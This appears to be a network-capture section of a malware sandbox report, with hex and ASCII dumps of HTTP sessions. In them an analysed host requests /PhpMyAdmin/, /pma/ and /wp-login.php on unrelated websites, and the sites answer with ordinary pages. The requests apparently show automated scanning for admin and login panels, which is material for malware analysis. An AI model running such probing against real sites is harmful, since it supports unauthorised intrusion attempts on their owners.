2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 4c 61 77 6e 20 46 65 72 74 69 6c 69 7a 69 6e 67 20 77 61 73 20 66 6f 75 6e 64 65 64 20 77 69 74 68 20 61 20 76 69 73 69 6f 6e 20 74 6f 20 70 72 6f 76 69 64 65 20 74 68 65 20 62 65 73 74 20 71 75 61 6c 69 74 79 20 67 72 61 73 73 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 6c 61 77 6e 20 66 65 72 74 69 6c 69 7a 69 6e 67 2c 20 61 6e 64 20 6c 61 77 6e 20 67 72 61 73 73 20 67 72 6f 77 74 68 20 73 65 72 76 69 63 65 73 20 69 6e 20 4e 65 77 20 4a 65 72 73 65 79 2c 20 44 65 6c 61 77 61 72 65 2c 20 61 6e 64 20 50 65 6e 6e 73 79 6c 76 61 6e 69 61 2e 22 2c 0a 20 20 7d 2c 0a 20 20 22 70 61 72 65 6e 74 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 20 7b 0a 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 Data Ascii: Lawn Fertilizing was founded with a vision to provide the best quality grass fertilizing, lawn fertilizing, and lawn grass growth services in New Jersey, Delaware, and Pennsylvania.", }, "parentOrganization": { "@id": "https://www.greenlawnfertili
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 72 6c 79 20 6c 69 63 65 6e 73 65 64 20 26 20 69 6e 73 75 72 65 64 20 74 6f 20 6f 66 66 65 72 20 66 65 72 74 69 6c 69 7a 65 72 2c 20 77 65 65 64 20 63 6f 6e 74 72 6f 6c 20 61 6e 64 20 67 72 75 62 20 63 6f 6e 74 72 6f 6c 2e 20 57 65 20 61 6c 73 6f 20 6f 66 66 65 72 20 61 65 72 61 74 69 6f 6e 20 61 6e 64 20 73 65 65 64 69 6e 67 2c 20 74 72 65 65 20 26 20 53 68 72 75 62 2c 20 6c 69 6d 65 2c 20 73 70 6f 74 74 65 64 20 6c 61 6e 74 65 72 6e 66 6c 79 2c 20 6d 6f 73 71 75 69 74 6f 20 61 6e 64 20 66 6c 65 61 20 26 20 74 69 63 6b 20 73 65 72 76 69 63 65 73 2e 22 2c 0a 20 20 22 6d 61 69 6e 45 6e 74 69 74 79 4f 66 50 61 67 65 22 3a 20 5b 0a 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 3f 63 69 64 3d 31 33 38 Data Ascii: rly licensed & insured to offer fertilizer, weed control and grub control. We also offer aeration and seeding, tree & Shrub, lime, spotted lanternfly, mosquito and flea & tick services.", "mainEntityOfPage": [ "https://www.google.com/maps?cid=138
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 43 6f 75 6e 74 22 3a 20 22 22 2c 0a 20 20 20 20 22 62 65 73 74 52 61 74 69 6e 67 22 3a 20 22 22 0a 20 20 7d 2c 0a 20 20 22 72 65 76 69 65 77 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 53 75 73 61 6e 20 42 72 6f 77 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 Data Ascii: Count": "", "bestRating": "" }, "review": [ { "@type": "Review", "author": { "@type": "Person", "name": "Susan Brown", "address": { "@type": "PostalAddress", "addressLocality": "We
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 52 65 76 69 65 77 22 2c 0a 20 20 20 20 20 20 22 61 75 74 68 6f 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 65 72 73 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 6e 64 72 65 77 20 42 75 72 72 6f 75 67 68 73 22 2c 0a 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 50 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 4c 6f 63 61 6c 69 74 79 22 3a 20 22 57 65 73 74 20 43 68 65 73 74 65 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 61 64 64 72 65 73 73 52 65 67 69 6f 6e 22 3a 20 22 50 65 6e 6e 73 79 6c 76 Data Ascii: { "@type": "Review", "author": { "@type": "Person", "name": "Andrew Burroughs", "address": { "@type": "PostalAddress", "addressLocality": "West Chester", "addressRegion": "Pennsylv
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 65 6e 74 73 20 74 68 61 74 20 77 69 6c 6c 20 6b 65 65 70 20 79 6f 75 72 20 6c 61 77 6e 20 67 72 65 65 6e 20 61 6e 64 20 66 72 65 65 20 6f 66 20 70 65 73 74 73 20 79 65 61 72 20 61 66 74 65 72 20 79 65 61 72 2e 20 48 65 20 61 6c 73 6f 20 63 61 72 65 73 20 61 62 6f 75 74 20 74 68 65 20 77 65 6c 6c 2d 62 65 69 6e 67 20 6f 66 20 68 69 73 20 65 6d 70 6c 6f 79 65 65 73 2e 22 2c 0a 20 20 20 20 22 61 6c 74 65 72 6e 61 74 65 4e 61 6d 65 22 3a 20 22 4d 61 74 74 20 4a 65 73 73 6f 6e 22 2c 0a 20 20 20 20 22 62 72 61 6e 64 22 3a 20 22 22 2c 0a 20 20 20 20 22 74 65 6c 65 70 68 6f 6e 65 22 3a 20 5b 22 22 5d 2c 0a 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 65 6d 61 69 6c 40 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 6a Data Ascii: ents that will keep your lawn green and free of pests year after year. He also cares about the well-being of his employees.", "alternateName": "Matt Jesson", "brand": "", "telephone": [""], "email": "email@greenlawnfertilizing.com", "j
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 5d 0a 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 47 72 65 65 6e 43 61 72 65 20 46 6f 72 20 54 72 6f 6f 70 73 20 50 72 6f 6a 65 63 74 20 45 76 65 72 67 72 65 65 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 40 69 64 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 4f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 20 20 20 20 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 70 72 6f 6a 65 63 74 65 76 65 72 67 72 65 65 6e 2e 6f 72 67 2f 22 2c 0a 20 20 20 20 20 Data Ascii: ] }, { "@type": "Organization", "name": "GreenCare For Troops Project Evergreen", "@id": "http://projectevergreen.org/#Organization#Organization", "url": "http://projectevergreen.org/",

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.4	62862	162.159.134.42	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	177	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	890	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845de32b7a4954-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7%2FUejhAFz8QEu2Kvkrdz9nyNaEUZqLDoBceoLuSzSXOfVpnFhU6bpkn4%2FpTYWUKA7ZkPZxWnfx5mXO2WUBrShdUzYBzRx3%2FC9hovwAcNVN4FTHbMaV3Vbhzd4jiKl%2F%2FAkrs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:33 UTC	479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 Data Ascii: ; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/s
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 66 6c 6f 77 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 Data Ascii: flow-hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:rig
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 Data Ascii: -error-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 64 66 6c 61 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 Data Ascii: dflare and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">Wha
2023-12-20 02:13:33 UTC	1234	IN	Data Raw: 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 65 33 65 31 66 38 34 39 35 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d Data Ascii: D: <strong class="font-semibold">83845de3e1f84954</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id=

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.4	62857	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	325	OUT	GET /pma/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_PXprZ0+OIujwgNej5HgfRi9VDN+7z8JDm1CVOcLKEvLanbi7HVUUSMcgPtSHGuVjFIKkb/bhxx304nCDb3G3xg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:33 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.4	63052	104.21.20.204	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	784	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lJOTZLkrUN7ygAnHH4bADKpezNBXS55IYSvOcHIisnv7PwCWDLWQk2yOExJ25EXgELliVlErRRw%2FlQwVgzumwLnnWi5tzvXCmDH7hPLq8P4Fo%2FU9IVo9KrLCJ7CQV%2BQx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845de41f8ada97-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:33 UTC	585	IN	Data Raw: 31 35 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4d 61 6a 6f 72 4d 65 67 61 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 22 Data Ascii: 1532<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; MajorMega.com — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive"
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 6f 67 69 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e Data Ascii: dmin/css/forms.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="l10n-css" href="https://majormega.com/wp-admin/css/l10n.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="login-css" href="https://majormega.com/wp-admin/css/login.min.
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 77 6f 72 64 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 61 73 68 69 63 6f 6e 73 20 64 61 73 68 69 63 6f 6e 73 2d 76 69 73 69 62 69 6c 69 74 79 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 66 6f 72 67 65 74 6d 65 6e 6f 74 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 69 64 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 76 61 6c 75 65 3d 22 66 6f 72 65 76 65 72 22 20 2f 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 3e 52 65 6d 65 6d 62 65 72 20 4d 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 70 3e 0a 3c 70 20 63 6c Data Ascii: word"><span class="dashicons dashicons-visibility" aria-hidden="true"></span></button></div></div><p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p><p cl
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 Data Ascii: ript src="https://majormega.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script src="https://majormega.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script><script src="h
